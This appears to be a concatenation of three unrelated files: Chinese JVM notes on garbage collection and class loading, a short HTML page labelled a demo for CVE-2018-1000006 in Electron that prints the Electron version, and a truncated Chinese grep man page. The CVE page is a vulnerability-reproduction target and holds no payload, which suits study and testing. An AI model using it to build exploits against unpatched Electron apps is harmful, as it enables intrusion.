在清除阶段,会进行对象回收并取消标志位,另外,还会判断回收后的分块与前一个空闲分块是否连续,若连续,会合并这两个分块。回收对象就是把对象作为分块,连接到被称为 “空闲链表” 的单向链表,之后进行分配时只需要遍历这个空闲链表,就可以找到分块。
在分配时,程序会搜索空闲链表寻找空间大于等于新对象大小 size 的块 block。如果它找到的块等于 size,会直接返回这个分块;如果找到的块大于 size,会将块分割成大小为 size 与 (block - size) 的两部分,返回大小为 size 的分块,并把大小为 (block - size) 的块返回给空闲链表。
不足:
- 标记和清除过程效率都不高;
- 会产生大量不连续的内存碎片,导致无法给大对象分配内存。
#### 2. 标记 - 整理
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/ccd773a5-ad38-4022-895c-7ac318f31437.png" width="400px"> </div><br>
让所有存活的对象都向一端移动,然后直接清理掉端边界以外的内存。
优点:
- 不会产生内存碎片
不足:
- 需要移动大量对象,处理效率比较低。
#### 3. 复制
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/b2b77b9e-958c-4016-8ae5-9c6edd83871e.png" width="400px"> </div><br>
将内存划分为大小相等的两块,每次只使用其中一块,当这一块内存用完了就将还存活的对象复制到另一块上面,然后再把使用过的内存空间进行一次清理。
主要不足是只使用了内存的一半。
现在的商业虚拟机都采用这种收集算法回收新生代,但是并不是划分为大小相等的两块,而是一块较大的 Eden 空间和两块较小的 Survivor 空间,每次使用 Eden 和其中一块 Survivor。在回收时,将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 上,最后清理 Eden 和使用过的那一块 Survivor。
HotSpot 虚拟机的 Eden 和 Survivor 大小比例默认为 8:1,保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活,那么一块 Survivor 就不够用了,此时需要依赖于老年代进行空间分配担保,也就是借用老年代的空间存储放不下的对象。
#### 4. 分代收集
现在的商业虚拟机采用分代收集算法,它根据对象存活周期将内存划分为几块,不同块采用适当的收集算法。
一般将堆分为新生代和老年代。
- 新生代使用:复制算法
- 老年代使用:标记 - 清除 或者 标记 - 整理 算法
### 垃圾收集器
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/c625baa0-dde6-449e-93df-c3a67f2f430f.jpg" width=""/> </div><br>
以上是 HotSpot 虚拟机中的 7 个垃圾收集器,连线表示垃圾收集器可以配合使用。
- 单线程与多线程:单线程指的是垃圾收集器只使用一个线程,而多线程使用多个线程;
- 串行与并行:串行指的是垃圾收集器与用户程序交替执行,这意味着在执行垃圾收集的时候需要停顿用户程序;并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外,其它垃圾收集器都是以串行的方式执行。
#### 1. Serial 收集器
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/22fda4ae-4dd5-489d-ab10-9ebfdad22ae0.jpg" width=""/> </div><br>
Serial 翻译为串行,也就是说它以串行的方式执行。
它是单线程的收集器,只会使用一个线程进行垃圾收集工作。
它的优点是简单高效,在单个 CPU 环境下,由于没有线程交互的开销,因此拥有最高的单线程收集效率。
它是 Client 场景下的默认新生代收集器,因为在该场景下内存一般来说不会很大。它收集一两百兆垃圾的停顿时间可以控制在一百多毫秒以内,只要不是太频繁,这点停顿时间是可以接受的。
#### 2. ParNew 收集器
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/81538cd5-1bcf-4e31-86e5-e198df1e013b.jpg" width=""/> </div><br>
它是 Serial 收集器的多线程版本。
它是 Server 场景下默认的新生代收集器,除了性能原因外,主要是因为除了 Serial 收集器,只有它能与 CMS 收集器配合使用。
#### 3. Parallel Scavenge 收集器
与 ParNew 一样是多线程收集器。
其它收集器目标是尽可能缩短垃圾收集时用户线程的停顿时间,而它的目标是达到一个可控制的吞吐量,因此它被称为“吞吐量优先”收集器。这里的吞吐量指 CPU 用于运行用户程序的时间占总时间的比值。
停顿时间越短就越适合需要与用户交互的程序,良好的响应速度能提升用户体验。而高吞吐量则可以高效率地利用 CPU 时间,尽快完成程序的运算任务,适合在后台运算而不需要太多交互的任务。
缩短停顿时间是以牺牲吞吐量和新生代空间来换取的:新生代空间变小,垃圾回收变得频繁,导致吞吐量下降。
可以通过一个开关参数打开 GC 自适应的调节策略(GC Ergonomics),就不需要手工指定新生代的大小(-Xmn)、Eden 和 Survivor 区的比例、晋升老年代对象年龄等细节参数了。虚拟机会根据当前系统的运行情况收集性能监控信息,动态调整这些参数以提供最合适的停顿时间或者最大的吞吐量。
#### 4. Serial Old 收集器
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/08f32fd3-f736-4a67-81ca-295b2a7972f2.jpg" width=""/> </div><br>
是 Serial 收集器的老年代版本,也是给 Client 场景下的虚拟机使用。如果用在 Server 场景下,它有两大用途:
- 在 JDK 1.5 以及之前版本(Parallel Old 诞生以前)中与 Parallel Scavenge 收集器搭配使用。
- 作为 CMS 收集器的后备预案,在并发收集发生 Concurrent Mode Failure 时使用。
#### 5. Parallel Old 收集器
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/278fe431-af88-4a95-a895-9c3b80117de3.jpg" width=""/> </div><br>
是 Parallel Scavenge 收集器的老年代版本。
在注重吞吐量以及 CPU 资源敏感的场合,都可以优先考虑 Parallel Scavenge 加 Parallel Old 收集器。
#### 6. CMS 收集器
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/62e77997-6957-4b68-8d12-bfd609bb2c68.jpg" width=""/> </div><br>
CMS(Concurrent Mark Sweep),Mark Sweep 指的是标记 - 清除算法。
分为以下四个流程:
- 初始标记:仅仅只是标记一下 GC Roots 能直接关联到的对象,速度很快,需要停顿。
- 并发标记:进行 GC Roots Tracing 的过程,它在整个回收过程中耗时最长,不需要停顿。
- 重新标记:为了修正并发标记期间因用户程序继续运作而导致标记产生变动的那一部分对象的标记记录,需要停顿。
- 并发清除:不需要停顿。
在整个过程中耗时最长的并发标记和并发清除过程中,收集器线程都可以与用户线程一起工作,不需要进行停顿。
具有以下缺点:
- 吞吐量低:低停顿时间是以牺牲吞吐量为代价的,导致 CPU 利用率不够高。
- 无法处理浮动垃圾,可能出现 Concurrent Mode Failure。浮动垃圾是指并发清除阶段由于用户线程继续运行而产生的垃圾,这部分垃圾只能到下一次 GC 时才能进行回收。由于浮动垃圾的存在,因此需要预留出一部分内存,意味着 CMS 收集不能像其它收集器那样等待老年代快满的时候再回收。如果预留的内存不够存放浮动垃圾,就会出现 Concurrent Mode Failure,这时虚拟机将临时启用 Serial Old 来替代 CMS。
- 标记 - 清除算法导致的空间碎片,往往出现老年代空间剩余,但无法找到足够大连续空间来分配当前对象,不得不提前触发一次 Full GC。
#### 7. G1 收集器
G1(Garbage-First),它是一款面向服务端应用的垃圾收集器,在多 CPU 和大内存的场景下有很好的性能。HotSpot 开发团队赋予它的使命是未来可以替换掉 CMS 收集器。
堆被分为新生代和老年代,其它收集器进行收集的范围都是整个新生代或者老年代,而 G1 可以直接对新生代和老年代一起回收。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/4cf711a8-7ab2-4152-b85c-d5c226733807.png" width="600"/> </div><br>
G1 把堆划分成多个大小相等的独立区域(Region),新生代和老年代不再物理隔离。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/9bbddeeb-e939-41f0-8e8e-2b1a0aa7e0a7.png" width="600"/> </div><br>
通过引入 Region 的概念,从而将原来的一整块内存空间划分成多个的小空间,使得每个小空间可以单独进行垃圾回收。这种划分方法带来了很大的灵活性,使得可预测的停顿时间模型成为可能。通过记录每个 Region 垃圾回收时间以及回收所获得的空间(这两个值是通过过去回收的经验获得),并维护一个优先列表,每次根据允许的收集时间,优先回收价值最大的 Region。
每个 Region 都有一个 Remembered Set,用来记录该 Region 对象的引用对象所在的 Region。通过使用 Remembered Set,在做可达性分析的时候就可以避免全堆扫描。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/f99ee771-c56f-47fb-9148-c0036695b5fe.jpg" width=""/> </div><br>
如果不计算维护 Remembered Set 的操作,G1 收集器的运作大致可划分为以下几个步骤:
- 初始标记
- 并发标记
- 最终标记:为了修正在并发标记期间因用户程序继续运作而导致标记产生变动的那一部分标记记录,虚拟机将这段时间对象变化记录在线程的 Remembered Set Logs 里面,最终标记阶段需要把 Remembered Set Logs 的数据合并到 Remembered Set 中。这阶段需要停顿线程,但是可并行执行。
- 筛选回收:首先对各个 Region 中的回收价值和成本进行排序,根据用户所期望的 GC 停顿时间来制定回收计划。此阶段其实也可以做到与用户程序一起并发执行,但是因为只回收一部分 Region,时间是用户可控制的,而且停顿用户线程将大幅度提高收集效率。
具备如下特点:
- 空间整合:整体来看是基于“标记 - 整理”算法实现的收集器,从局部(两个 Region 之间)上来看是基于“复制”算法实现的,这意味着运行期间不会产生内存空间碎片。
- 可预测的停顿:能让使用者明确指定在一个长度为 M 毫秒的时间片段内,消耗在 GC 上的时间不得超过 N 毫秒。
## 三、内存分配与回收策略
### Minor GC 和 Full GC
- Minor GC:回收新生代,因为新生代对象存活时间很短,因此 Minor GC 会频繁执行,执行的速度一般也会比较快。
- Full GC:回收老年代和新生代,老年代对象其存活时间长,因此 Full GC 很少执行,执行速度会比 Minor GC 慢很多。
### 内存分配策略
#### 1. 对象优先在 Eden 分配
大多数情况下,对象在新生代 Eden 上分配,当 Eden 空间不够时,发起 Minor GC。
#### 2. 大对象直接进入老年代
大对象是指需要连续内存空间的对象,最典型的大对象是那种很长的字符串以及数组。
经常出现大对象会提前触发垃圾收集以获取足够的连续空间分配给大对象。
-XX:PretenureSizeThreshold,大于此值的对象直接在老年代分配,避免在 Eden 和 Survivor 之间的大量内存复制。
#### 3. 长期存活的对象进入老年代
为对象定义年龄计数器,对象在 Eden 出生并经过 Minor GC 依然存活,将移动到 Survivor 中,年龄就增加 1 岁,增加到一定年龄则移动到老年代中。
-XX:MaxTenuringThreshold 用来定义年龄的阈值。
#### 4. 动态对象年龄判定
虚拟机并不是永远要求对象的年龄必须达到 MaxTenuringThreshold 才能晋升老年代,如果在 Survivor 中相同年龄所有对象大小的总和大于 Survivor 空间的一半,则年龄大于或等于该年龄的对象可以直接进入老年代,无需等到 MaxTenuringThreshold 中要求的年龄。
#### 5. 空间分配担保
在发生 Minor GC 之前,虚拟机先检查老年代最大可用的连续空间是否大于新生代所有对象总空间,如果条件成立的话,那么 Minor GC 可以确认是安全的。
如果不成立的话虚拟机会查看 HandlePromotionFailure 的值是否允许担保失败,如果允许那么就会继续检查老年代最大可用的连续空间是否大于历次晋升到老年代对象的平均大小,如果大于,将尝试着进行一次 Minor GC;如果小于,或者 HandlePromotionFailure 的值不允许冒险,那么就要进行一次 Full GC。
### Full GC 的触发条件
对于 Minor GC,其触发条件非常简单,当 Eden 空间满时,就将触发一次 Minor GC。而 Full GC 则相对复杂,有以下条件:
#### 1. 调用 System.gc()
只是建议虚拟机执行 Full GC,但是虚拟机不一定真正去执行。不建议使用这种方式,而是让虚拟机管理内存。
#### 2. 老年代空间不足
老年代空间不足的常见场景为前文所讲的大对象直接进入老年代、长期存活的对象进入老年代等。
为了避免以上原因引起的 Full GC,应当尽量不要创建过大的对象以及数组。除此之外,可以通过 -Xmn 虚拟机参数调大新生代的大小,让对象尽量在新生代被回收掉,不进入老年代。还可以通过 -XX:MaxTenuringThreshold 调大对象进入老年代的年龄,让对象在新生代多存活一段时间。
#### 3. 空间分配担保失败
使用复制算法的 Minor GC 需要老年代的内存空间作担保,如果担保失败会执行一次 Full GC。具体内容请参考上面的第 5 小节。
#### 4. JDK 1.7 及以前的永久代空间不足
在 JDK 1.7 及以前,HotSpot 虚拟机中的方法区是用永久代实现的,永久代中存放的为一些 Class 的信息、常量、静态变量等数据。
当系统中要加载的类、反射的类和调用的方法较多时,永久代可能会被占满,在未配置为采用 CMS GC 的情况下也会执行 Full GC。如果经过 Full GC 仍然回收不了,那么虚拟机会抛出 java.lang.OutOfMemoryError。
为避免以上原因引起的 Full GC,可采用的方法为增大永久代空间或转为使用 CMS GC。
#### 5. Concurrent Mode Failure
执行 CMS GC 的过程中同时有对象要放入老年代,而此时老年代空间不足(可能是 GC 过程中浮动垃圾过多导致暂时性的空间不足),便会报 Concurrent Mode Failure 错误,并触发 Full GC。
## 四、类加载机制
类是在运行期间第一次使用时动态加载的,而不是一次性加载所有类。因为如果一次性加载,那么会占用很多的内存。
### 类的生命周期
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/335fe19c-4a76-45ab-9320-88c90d6a0d7e.png" width="600px"> </div><br>
包括以下 7 个阶段:
- **加载(Loading)**
- **验证(Verification)**
- **准备(Preparation)**
- **解析(Resolution)**
- **初始化(Initialization)**
- 使用(Using)
- 卸载(Unloading)
### 类加载过程
包含了加载、验证、准备、解析和初始化这 5 个阶段。
#### 1. 加载
加载是类加载的一个阶段,注意不要混淆。
加载过程完成以下三件事:
- 通过类的完全限定名称获取定义该类的二进制字节流。
- 将该字节流表示的静态存储结构转换为方法区的运行时存储结构。
- 在内存中生成一个代表该类的 Class 对象,作为方法区中该类各种数据的访问入口。
其中二进制字节流可以从以下方式中获取:
- 从 ZIP 包读取,成为 JAR、EAR、WAR 格式的基础。
- 从网络中获取,最典型的应用是 Applet。
- 运行时计算生成,例如动态代理技术,在 java.lang.reflect.Proxy 使用 ProxyGenerator.generateProxyClass 的代理类的二进制字节流。
- 由其他文件生成,例如由 JSP 文件生成对应的 Class 类。
#### 2. 验证
确保 Class 文件的字节流中包含的信息符合当前虚拟机的要求,并且不会危害虚拟机自身的安全。
#### 3. 准备
类变量是被 static 修饰的变量,准备阶段为类变量分配内存并设置初始值,使用的是方法区的内存。
实例变量不会在这阶段分配内存,它会在对象实例化时随着对象一起被分配在堆中。应该注意到,实例化不是类加载的一个过程,类加载发生在所有实例化操作之前,并且类加载只进行一次,实例化可以进行多次。
初始值一般为 0 值,例如下面的类变量 value 被初始化为 0 而不是 123。
```java
public static int value = 123;
```
如果类变量是常量,那么它将初始化为表达式所定义的值而不是 0。例如下面的常量 value 被初始化为 123 而不是 0。
```java
public static final int value = 123;
```
#### 4. 解析
将常量池的符号引用替换为直接引用的过程。
其中解析过程在某些情况下可以在初始化阶段之后再开始,这是为了支持 Java 的动态绑定。
#### 5. 初始化
<div data="modify -->"></div>
初始化阶段才真正开始执行类中定义的 Java 程序代码。初始化阶段是虚拟机执行类构造器 <clinit\>() 方法的过程。在准备阶段,类变量已经赋过一次系统要求的初始值,而在初始化阶段,根据程序员通过程序制定的主观计划去初始化类变量和其它资源。
<clinit\>() 是由编译器自动收集类中所有类变量的赋值动作和静态语句块中的语句合并产生的,编译器收集的顺序由语句在源文件中出现的顺序决定。特别注意的是,静态语句块只能访问到定义在它之前的类变量,定义在它之后的类变量只能赋值,不能访问。例如以下代码:
```java
public class Test {
static {
i = 0; // 给变量赋值可以正常编译通过
System.out.print(i); // 这句编译器会提示“非法向前引用”
}
static int i = 1;
}
```
由于父类的 <clinit\>() 方法先执行,也就意味着父类中定义的静态语句块的执行要优先于子类。例如以下代码:
```java
static class Parent {
public static int A = 1;
static {
A = 2;
}
}
static class Sub extends Parent {
public static int B = A;
}
public static void main(String[] args) {
System.out.println(Sub.B); // 2
}
```
接口中不可以使用静态语句块,但仍然有类变量初始化的赋值操作,因此接口与类一样都会生成 <clinit\>() 方法。但接口与类不同的是,执行接口的 <clinit\>() 方法不需要先执行父接口的 <clinit\>() 方法。只有当父接口中定义的变量使用时,父接口才会初始化。另外,接口的实现类在初始化时也一样不会执行接口的 <clinit\>() 方法。
虚拟机会保证一个类的 <clinit\>() 方法在多线程环境下被正确的加锁和同步,如果多个线程同时初始化一个类,只会有一个线程执行这个类的 <clinit\>() 方法,其它线程都会阻塞等待,直到活动线程执行 <clinit\>() 方法完毕。如果在一个类的 <clinit\>() 方法中有耗时的操作,就可能造成多个线程阻塞,在实际过程中此种阻塞很隐蔽。
### 类初始化时机
#### 1. 主动引用
虚拟机规范中并没有强制约束何时进行加载,但是规范严格规定了有且只有下列五种情况必须对类进行初始化(加载、验证、准备都会随之发生):
- 遇到 new、getstatic、putstatic、invokestatic 这四条字节码指令时,如果类没有进行过初始化,则必须先触发其初始化。最常见的生成这 4 条指令的场景是:使用 new 关键字实例化对象的时候;读取或设置一个类的静态字段(被 final 修饰、已在编译期把结果放入常量池的静态字段除外)的时候;以及调用一个类的静态方法的时候。
- 使用 java.lang.reflect 包的方法对类进行反射调用的时候,如果类没有进行初始化,则需要先触发其初始化。
- 当初始化一个类的时候,如果发现其父类还没有进行过初始化,则需要先触发其父类的初始化。
- 当虚拟机启动时,用户需要指定一个要执行的主类(包含 main() 方法的那个类),虚拟机会先初始化这个主类;
- 当使用 JDK 1.7 的动态语言支持时,如果一个 java.lang.invoke.MethodHandle 实例最后的解析结果为 REF_getStatic, REF_putStatic, REF_invokeStatic 的方法句柄,并且这个方法句柄所对应的类没有进行过初始化,则需要先触发其初始化;
#### 2. 被动引用
以上 5 种场景中的行为称为对一个类进行主动引用。除此之外,所有引用类的方式都不会触发初始化,称为被动引用。被动引用的常见例子包括:
- 通过子类引用父类的静态字段,不会导致子类初始化。
```java
System.out.println(SubClass.value); // value 字段在 SuperClass 中定义
```
- 通过数组定义来引用类,不会触发此类的初始化。该过程会对数组类进行初始化,数组类是一个由虚拟机自动生成的、直接继承自 Object 的子类,其中包含了数组的属性和方法。
```java
SuperClass[] sca = new SuperClass[10];
```
- 常量在编译阶段会存入调用类的常量池中,本质上并没有直接引用到定义常量的类,因此不会触发定义常量的类的初始化。
```java
System.out.println(ConstClass.HELLOWORLD);
```
### 类与类加载器
两个类相等,需要类本身相等,并且使用同一个类加载器进行加载。这是因为每一个类加载器都拥有一个独立的类名称空间。
这里的相等,包括类的 Class 对象的 equals() 方法、isAssignableFrom() 方法、isInstance() 方法的返回结果为 true,也包括使用 instanceof 关键字做对象所属关系判定结果为 true。
### 类加载器分类
从 Java 虚拟机的角度来讲,只存在以下两种不同的类加载器:
- 启动类加载器(Bootstrap ClassLoader),使用 C++ 实现,是虚拟机自身的一部分;
- 所有其它类的加载器,使用 Java 实现,独立于虚拟机,继承自抽象类 java.lang.ClassLoader。
从 Java 开发人员的角度看,类加载器可以划分得更细致一些:
- 启动类加载器(Bootstrap ClassLoader)此类加载器负责将存放在 <JRE_HOME\>\lib 目录中的,或者被 -Xbootclasspath 参数所指定的路径中的,并且是虚拟机识别的(仅按照文件名识别,如 rt.jar,名字不符合的类库即使放在 lib 目录中也不会被加载)类库加载到虚拟机内存中。启动类加载器无法被 Java 程序直接引用,用户在编写自定义类加载器时,如果需要把加载请求委派给启动类加载器,直接使用 null 代替即可。
- 扩展类加载器(Extension ClassLoader)这个类加载器是由 ExtClassLoader(sun.misc.Launcher$ExtClassLoader)实现的。它负责将 <JAVA_HOME\>/lib/ext 或者被 java.ext.dir 系统变量所指定路径中的所有类库加载到内存中,开发者可以直接使用扩展类加载器。
- 应用程序类加载器(Application ClassLoader)这个类加载器是由 AppClassLoader(sun.misc.Launcher$AppClassLoader)实现的。由于这个类加载器是 ClassLoader 中的 getSystemClassLoader() 方法的返回值,因此一般称为系统类加载器。它负责加载用户类路径(ClassPath)上所指定的类库,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
### 双亲委派模型
应用程序是由三种类加载器互相配合从而实现类加载,除此之外还可以加入自己定义的类加载器。
下图展示了类加载器之间的层次关系,称为双亲委派模型(Parents Delegation Model)。该模型要求除了顶层的启动类加载器外,其它的类加载器都要有自己的父类加载器。这里的父子关系一般通过组合关系(Composition)来实现,而不是继承关系(Inheritance)。
<div align="center"> <img src="https://cs-notes-1256109796.cos.ap-guangzhou.myqcloud.com/0dd2d40a-5b2b-4d45-b176-e75a4cd4bdbf.png" width="500px"> </div><br>
#### 1. 工作过程
一个类加载器首先将类加载请求转发到父类加载器,只有当父类加载器无法完成时才尝试自己加载。
#### 2. 好处
使得 Java 类随着它的类加载器一起具有一种带有优先级的层次关系,从而使得基础类得到统一。
例如 java.lang.Object 存放在 rt.jar 中,如果编写另外一个 java.lang.Object 并放到 ClassPath 中,程序可以编译通过。由于双亲委派模型的存在,所以在 rt.jar 中的 Object 比在 ClassPath 中的 Object 优先级更高,这是因为 rt.jar 中的 Object 使用的是启动类加载器,而 ClassPath 中的 Object 使用的是应用程序类加载器。rt.jar 中的 Object 优先级更高,那么程序中所有的 Object 都是这个 Object。
#### 3. 实现
以下是抽象类 java.lang.ClassLoader 的代码片段,其中的 loadClass() 方法运行过程如下:先检查类是否已经加载过,如果没有则让父类加载器去加载。当父类加载器加载失败时抛出 ClassNotFoundException,此时尝试自己去加载。
```java
public abstract class ClassLoader {
// The parent class loader for delegation
private final ClassLoader parent;
public Class<?> loadClass(String name) throws ClassNotFoundException {
return loadClass(name, false);
}
protected Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException {
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
try {
if (parent != null) {
c = parent.loadClass(name, false);
} else {
c = findBootstrapClassOrNull(name);
}
} catch (ClassNotFoundException e) {
// ClassNotFoundException thrown if class not found
// from the non-null parent class loader
}
if (c == null) {
// If still not found, then invoke findClass in order
// to find the class.
c = findClass(name);
}
}
if (resolve) {
resolveClass(c);
}
return c;
}
}
protected Class<?> findClass(String name) throws ClassNotFoundException {
throw new ClassNotFoundException(name);
}
}
```
### 自定义类加载器实现
以下代码中的 FileSystemClassLoader 是自定义类加载器,继承自 java.lang.ClassLoader,用于加载文件系统上的类。它首先根据类的全名在文件系统上查找类的字节代码文件(.class 文件),然后读取该文件内容,最后通过 defineClass() 方法来把这些字节代码转换成 java.lang.Class 类的实例。
java.lang.ClassLoader 的 loadClass() 实现了双亲委派模型的逻辑,自定义类加载器一般不去重写它,但是需要重写 findClass() 方法。
```java
public class FileSystemClassLoader extends ClassLoader {
private String rootDir;
public FileSystemClassLoader(String rootDir) {
this.rootDir = rootDir;
}
protected Class<?> findClass(String name) throws ClassNotFoundException {
byte[] classData = getClassData(name);
if (classData == null) {
throw new ClassNotFoundException();
} else {
return defineClass(name, classData, 0, classData.length);
}
}
private byte[] getClassData(String className) {
String path = classNameToPath(className);
try {
InputStream ins = new FileInputStream(path);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
int bufferSize = 4096;
byte[] buffer = new byte[bufferSize];
int bytesNumRead;
while ((bytesNumRead = ins.read(buffer)) != -1) {
baos.write(buffer, 0, bytesNumRead);
}
return baos.toByteArray();
} catch (IOException e) {
e.printStackTrace();
}
return null;
}
private String classNameToPath(String className) {
return rootDir + File.separatorChar
+ className.replace('.', File.separatorChar) + ".class";
}
}
```
## 参考资料
- 周志明. 深入理解 Java 虚拟机 [M]. 机械工业出版社, 2011.
- [Chapter 2. The Structure of the Java Virtual Machine](https://docs.oracle.com/javase/specs/jvms/se8/html/jvms-2.html#jvms-2.5.4)
- [Jvm memory](https://www.slideshare.net/benewu/jvm-memory)
[Getting Started with the G1 Garbage Collector](http://www.oracle.com/webfolder/technetwork/tutorials/obe/java/G1GettingStarted/index.html)
- [JNI Part1: Java Native Interface Introduction and “Hello World” application](http://electrofriends.com/articles/jni/jni-part1-java-native-interface/)
- [Memory Architecture Of JVM(Runtime Data Areas)](https://hackthejava.wordpress.com/2015/01/09/memory-architecture-by-jvmruntime-data-areas/)
- [JVM Run-Time Data Areas](https://www.programcreek.com/2013/04/jvm-run-time-data-areas/)
- [Android on x86: Java Native Interface and the Android Native Development Kit](http://www.drdobbs.com/architecture-and-design/android-on-x86-java-native-interface-and/240166271)
- [深入理解 JVM(2)——GC 算法与内存分配策略](https://crowhawk.github.io/2017/08/10/jvm_2/)
- [深入理解 JVM(3)——7 种垃圾收集器](https://crowhawk.github.io/2017/08/15/jvm_3/)
- [JVM Internals](http://blog.jamesdbloom.com/JVMInternals.html)
- [深入探讨 Java 类加载器](https://www.ibm.com/developerworks/cn/java/j-lo-classloader/index.html#code6)
- [Guide to WeakHashMap in Java](http://www.baeldung.com/java-weakhashmap)
- [Tomcat example source code file (ConcurrentCache.java)](https://alvinalexander.com/java/jwarehouse/apache-tomcat-6.0.16/java/org/apache/el/util/ConcurrentCache.java.shtml)
|
sec-knowleage
|
<!DOCTYPE html>
<html>
<head>
<title>Hello World!</title>
</head>
<body>
<h1>Hello World!</h1>
This is a demo for CVE-2018-1000006</br>
Electron version:<script>document.write(process.versions['electron'])</script>.
</body>
</html>
|
sec-knowleage
|
.\" grep man page
.if !\n(.g \{\
. if !\w|\*(lq| \{\
. ds lq ``
. if \w'\(lq' .ds lq "\(lq
. \}
. if !\w|\*(rq| \{\
. ds rq ''
. if \w'\(rq' .ds rq "\(rq
. \}
.\}
.de Id
.ds Dt \\$4
..
.TH GREP 1 "GNU Project"
.SH NAME
grep, egrep, fgrep \- 打印匹配给定模式的行
.SH 总览 SYNOPSIS
.B grep
.RI [ options ]
.I PATTERN
.RI [ FILE .\|.\|.]
.br
.B grep
.RI [ options ]
.RB [ \-e
.I PATTERN
|
.B \-f
.IR FILE ]
.RI [ FILE .\|.\|.]
.SH 描述 DESCRIPTION
.PP
.B Grep
搜索以
.IR FILE
命名的文件输入 (或者是标准输入,如果没有指定文件名,或者给出的文件名是
.B \-
的话),寻找含有与给定的模式
.IR PATTERN
相匹配的内容的行。
默认情况下,
.B grep
将把含有匹配内容的行打印出来。
.PP
另外,也可以使用两个变种程序
.B egrep
和
.B fgrep
。
.B Egrep
与
.BR "grep\ \-E"
相同。
.B Fgrep
与
.BR "grep\ \-F"
相同。
.SH 选项 OPTIONS
.TP
.BI \-A " NUM" "\fR,\fP \-\^\-after-context=" NUM
打印出紧随匹配的行之后的下文
.I NUM
行。在相邻的匹配组之间将会打印内容是
.B \-\^\-
的一行。
.TP
.BR \-a ", " \-\^\-text
将一个二进制文件视为一个文本文件来处理;它与
.B \-\^\-binary-files=text
选项等价。
.TP
.BI \-B " NUM" "\fR,\fP \-\^\-before-context=" NUM
打印出匹配的行之前的上文
.I NUM
行。在相邻的匹配组之间将会打印内容是
.B \-\^\-
的一行。
.TP
.BI \-C " NUM" "\fR,\fP \-\^\-context=" NUM
打印出匹配的行的上下文前后各
.I NUM
行。在相邻的匹配组之间将会打印内容是
.B \-\^\-
的一行。
.TP
.BR \-b ", " \-\^\-byte-offset
在输出的每行前面同时打印出当前行在输入文件中的字节偏移量。
.TP
.BI \-\^\-binary-files= TYPE
如果一个文件的起始几个字节表明文件包含二进制数据,那么假定文件是
.IR TYPE
类型的。默认情况下,
.I TYPE
是
.BR binary
,并且
.B grep
一般会输出一个一行的消息说一个二进制文件匹配,或者如果没有匹配的话就没有消息输出。如果类型
.I TYPE
是
.BR without-match
,那么
.B grep
假定二进制文件不会匹配;这样做与
.B \-I
选项等价。如果类型
.I TYPE
是
.BR text
,那么
.B grep
将一个二进制文件视为文本文件来处理;它与
.B \-a
选项等价。
.I 警告:
.B "grep \-\^\-binary-files=text"
可能会输出二进制的无用内容。如果输出设备是一个终端,并且终端的驱动将这些输出中的一些当作命令,可能会带来恶劣的副作用。
.TP
.BI \-\^\-colour[=\fIWHEN\fR] ", " \-\^\-color[=\fIWHEN\fR]
在匹配的行周围以
.B GREP_COLOR
环境变量中指定的记号来标记。WHEN 可以是 `never', `always', 或是 `auto'。
.TP
.BR \-c ", " \-\^\-count
禁止通常的输出;作为替代,为每一个输入文件打印一个匹配的行的总数。如果使用
.BR \-v ", " \-\^\-invert-match
选项 (参见下面),将是不匹配的行的总数。
.TP
.BI \-D " ACTION" "\fR,\fP \-\^\-devices=" ACTION
如果输入文件是一个设备,FIFO 或是套接字 (socket) ,使用动作
.I ACTION
来处理它。默认情况下,动作
.I ACTION
是
.BR read
,意味着设备将视为普通文件那样来读。如果动作
.I ACTION
是
.BR skip
,将不处理而直接跳过设备。
.TP
.BI \-d " ACTION" "\fR,\fP \-\^\-directories=" ACTION
如果输入文件是一个目录,使用动作
.I ACTION
来处理它。默认情况下,动作
.I ACTION
是
.BR read
,意味着目录将视为普通文件那样来读。如果动作
.I ACTION
是
.BR skip
,将不处理而直接跳过目录。如果动作
.I ACTION
是
.BR recurse
,
.B grep
将递归地读每一目录下的所有文件。这样做和
.B \-r
选项等价。
.TP
.BR \-E ", " \-\^\-extended-regexp
将模式
.I PATTERN
作为一个扩展的正则表达式来解释 (参见下面)。
.TP
.BI \-e " PATTERN" "\fR,\fP \-\^\-regexp=" PATTERN
使用模式
.I PATTERN
作为模式;在保护以
.BR \-
为起始的模式时有用。
.TP
.BR \-F ", " \-\^\-fixed-strings
将模式
.I PATTERN
视为一个固定的字符串的列表,用新行 (newlines) 分隔,只要匹配其中之一即可。
.TP
.BR \-P ", " \-\^\-perl-regexp
将模式
.I PATTERN
作为一个 Perl 正则表达式来解释。
.TP
.BI \-f " FILE" "\fR,\fP \-\^\-file=" FILE
从文件
.IR FILE
中获取模式,每行一个。空文件含有0个模式,因此不匹配任何东西。
.TP
.BR \-G ", " \-\^\-basic-regexp
将模式
.I PATTERN
作为一个基本的正则表达式 (参见下面) 来解释。这是默认值。
.TP
.BR \-H ", " \-\^\-with-filename
为每个匹配打印文件名。
.TP
.BR \-h ", " \-\^\-no-filename
当搜索多个文件时,禁止在输出的前面加上文件名前缀。
.TP
.B \-\^\-help
输出一个简短的帮助信息。
.TP
.BR \-I
处理一个二进制文件,但是认为它不包含匹配的内容。这和
.B \-\^\-binary-files=without-match
选项等价。
.TP
